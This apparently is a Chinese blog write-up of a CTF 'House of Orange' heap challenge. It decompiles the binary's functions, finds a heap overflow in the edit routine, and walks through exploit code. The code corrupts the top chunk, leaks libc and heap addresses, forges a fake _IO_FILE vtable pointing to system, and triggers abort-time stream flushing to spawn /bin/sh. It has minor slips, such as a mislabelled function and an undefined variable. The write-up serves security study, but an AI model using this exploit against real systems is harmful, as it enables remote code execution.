house of orange学习

安全检查

在这里插入图片描述

IDA查看

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int chocie; // eax

  init_n();
  while ( 1 )
  {
    while ( 1 )
    {
      menue();
      chocie = read_buf();
      if ( chocie != 2 )
        break;
      show();
    }
    if ( chocie > 2 )
    {
      if ( chocie == 3 )
      {
        edit();
      }
      else
      {
        if ( chocie == 4 )
        {
          puts("give up");
          exit(0);
        }
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( chocie != 1 )
        goto LABEL_14;
      add();
    }
  }
}

add函数

int add()
{
  unsigned int size; // [rsp+8h] [rbp-18h]
  signed int size_4; // [rsp+Ch] [rbp-14h]
  void *house; // [rsp+10h] [rbp-10h]
  _DWORD *v4; // [rsp+18h] [rbp-8h]

  if ( house_count > 3u )
  {
    puts("Too many house");
    exit(1);
  }
  house = malloc(0x10uLL);
  printf("Length of name :");
  size = read_buf();
  if ( size > 0x1000 )
    size = 4096;
  *((_QWORD *)house + 1) = malloc(size);
  if ( !*((_QWORD *)house + 1) )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  read_name(*((void **)house + 1), size);
  v4 = calloc(1uLL, 8uLL);
  printf("Price of Orange:");
  *v4 = read_buf();
  print_color();
  printf("Color of Orange:");
  size_4 = read_buf();
  if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( size_4 == 0xDDAA )
    v4[1] = 0xDDAA;
  else
    v4[1] = size_4 + 30;
  *(_QWORD *)house = v4;
  host_ptr = house;
  ++house_count;
  return puts("Finish");
}

show函数

int add()
{
  char *v0; // rsi
  int result; // eax
  int v2; // eax

  if ( !host_ptr )
    return puts("No such house !");
  if ( *(_DWORD *)(*host_ptr + 4LL) == 0xDDAA )
  {
    printf("Name of house : %s\n", host_ptr[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*host_ptr);
    v0 = qword_203080[rand() % 8];
    result = printf("\x1B[01;38;5;214m%s\x1B[0m\n");
  }
  else
  {
    if ( *(_DWORD *)(*host_ptr + 4LL) <= 30 || *(_DWORD *)(*host_ptr + 4LL) > 37 )
    {
      puts("Color corruption!");
      exit(1);
    }
    printf("Name of house : %s\n", host_ptr[1]);
    printf("Price of orange : %d\n", *(unsigned int *)*host_ptr);
    v2 = rand();
    result = printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*host_ptr + 4LL), qword_203080[v2 % 8]);
  }
  return result;
}

edit函数

int edit()
{
  _DWORD *v1; // rbx
  unsigned int name_len; // [rsp+8h] [rbp-18h]
  signed int v3; // [rsp+Ch] [rbp-14h]

  if ( upgread_count > 2u )
    return puts("You can't upgrade more");
  if ( !host_ptr )
    return puts("No such house !");
  printf("Length of name :");
  name_len = read_buf();
  if ( name_len > 0x1000 )
    name_len = 4096;
  printf("Name:");
  read_name((void *)host_ptr[1], name_len);
  printf("Price of Orange: ");
  v1 = (_DWORD *)*host_ptr;
  *v1 = read_buf();
  print_color();
  printf("Color of Orange: ");
  v3 = read_buf();
  if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 0xDDAA )
    *(_DWORD *)(*host_ptr + 4LL) = 0xDDAA;
  else
    *(_DWORD *)(*host_ptr + 4LL) = v3 + 30;
  ++upgread_count;
  return puts("Finish");
}

总结

edit函数,存在堆溢出,在add时申请小于0x1000大小的house,在edit时可以输入大于0x1000的数字。
每次只能edit刚刚申请的house
没有free函数

调试分析

build第一个house,然后堆溢出修改top chunk的size为0xf81

build(0x30,'a'*8,123,1)
payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81)
upgrade(len(payload),payload,123,2)

budild第二个house,触发sysmalloc中的_int_free

budild第二个house大小为0x1000>0xf81 ,触发sysmalloc中的_int_free,将top chunk放入unsorted bin中,此时top chunk的fd和bk指针均指向unsorted bin(av)

build(0x1000,'b',123,1)

build第三个house,泄露地址

build一个0x400大小的house,再给name字段分配空间时,会从上一步unsorted bin里的top chunk 中分割0x400大小的chunk 返还给我们。

#malloc largechunk to use old_top
#leak libc_base
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
libc_addr= u64(p.recv(6).ljust(8,'\x00'))
libc_base = libc_addr -0x3c5188
print "libc base address -->[%s]"%hex(libc_base)
#malloc largechunk again
#leak heap_base
upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
heap_addr= u64(p.recv(6).ljust(8,'\x00'))
heap_base = heap_addr - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all =  libc_base +libc.symbols['_IO_list_all']
system = libc.symbols['system'] + libc_base

由于0x400输入largebin范围,而将chunk 放入largebin链表中的时候,该chunk的fdnextsize与bknextsize会填入本身的地址。借此同时泄露unsortedbin(av)与heap的地址,通过固定偏移,计算libc_base与heap_base。然后计算system地址和_IO_list_all地址,_IO_list_all指向了__IO_FILE结构体的链表。

....
victim->fd_nextsize = victim->bk_nextsize = victim;//将old_top的fd_nextsize和bk_nextsize都指向old_top本身//将old_top加入largebin链表中

构造fake __IO_FILE结构体

首先填充到top chunk分配largebin后的top chunk处

payload = 'a'*0x400
#填充分配个price字段的0x10大小的chunk
payload += p64(0) + p64(0x21) + 'a'*0x10

构造fake __IO_FILE结构体,top chunk 减去上面申请的large bin之后的top chunk的size字段设置为0x61,使bk指针=p64(_IO_list_all - 0x10),通过unsorted bin attack 使得IO_list_all=unsorted_chunks (av)=&unsortbin-0x10,距离smallbin[4]的偏移是0x60。IO_FILE偏移0x60的字段是struct _IO_marker *_markers,偏移0x68的字段是struct _IO_FILE *_chain。而这两个的值恰恰是old_top的起始地址。改为0x61是为了将old_top加入smallbin[4],而smallbin[4]的fd和bk指针恰好对应于IO_FILE结构体中的_markers和_chain字段。

#old_top_chunk=_IO_FILE
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(_IO_list_all - 0x10)

然后bypass check

fake_file += p64(0) + p64(1)                   #
#bypass check
#_IO_FILE fp
#fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28))
#fp->_mode<=0   (offset *(0xc8)<=0)
fake_file = fake_file.ljust(0xc0,'\x00')

libc.2.23.so中vtable_ptr的偏移为0xd8,所以payload填充到0xd8,然后vtable_ptr赋值为heap_base + 0x5f0,即payload += p64(0)*3地址处,然后将overflow函数(下标为3, 0,1,2,3)的地址覆盖为system函数的地址。

payload += fake_file
payload += p64(0)*3
#0xc0+0x18=0xd8
#_IO_jump_t *ptr_vtable
#file_adr+0xd8=&ptr_vtable
#vtable[3]=overflow_adr
#gdb.attach(p)
payload += p64(heap_base + 0x5f0)#ptr_vtable
payload += p64(0)*3#vtable
payload += p64(system)#vtable[3]
upgrade(0x800,payload,123,1)

上一步修改了top chunk的size为0x61,old top chunk就会链入到smallbin[4],同时,unsortbin.bk也被改写成了&IO_list_all-0x10,所以此时的victim->size=0,调用malloc函数再分配一个chunk,就会触发malloc_printerr异常,
在这里插入图片描述
触发异常后,系统会遍历IO_llist_all,最终调用 IO_overflow函数,而此时IO_overflow表项为system函数的地址

函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

触发漏洞

p.recv()
p.sendline('1')
#malloc size<=2*SIZE_SZ
#malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh')
p.interactive()

Ref

添加链接描述
添加链接描述
添加链接描述
添加链接描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值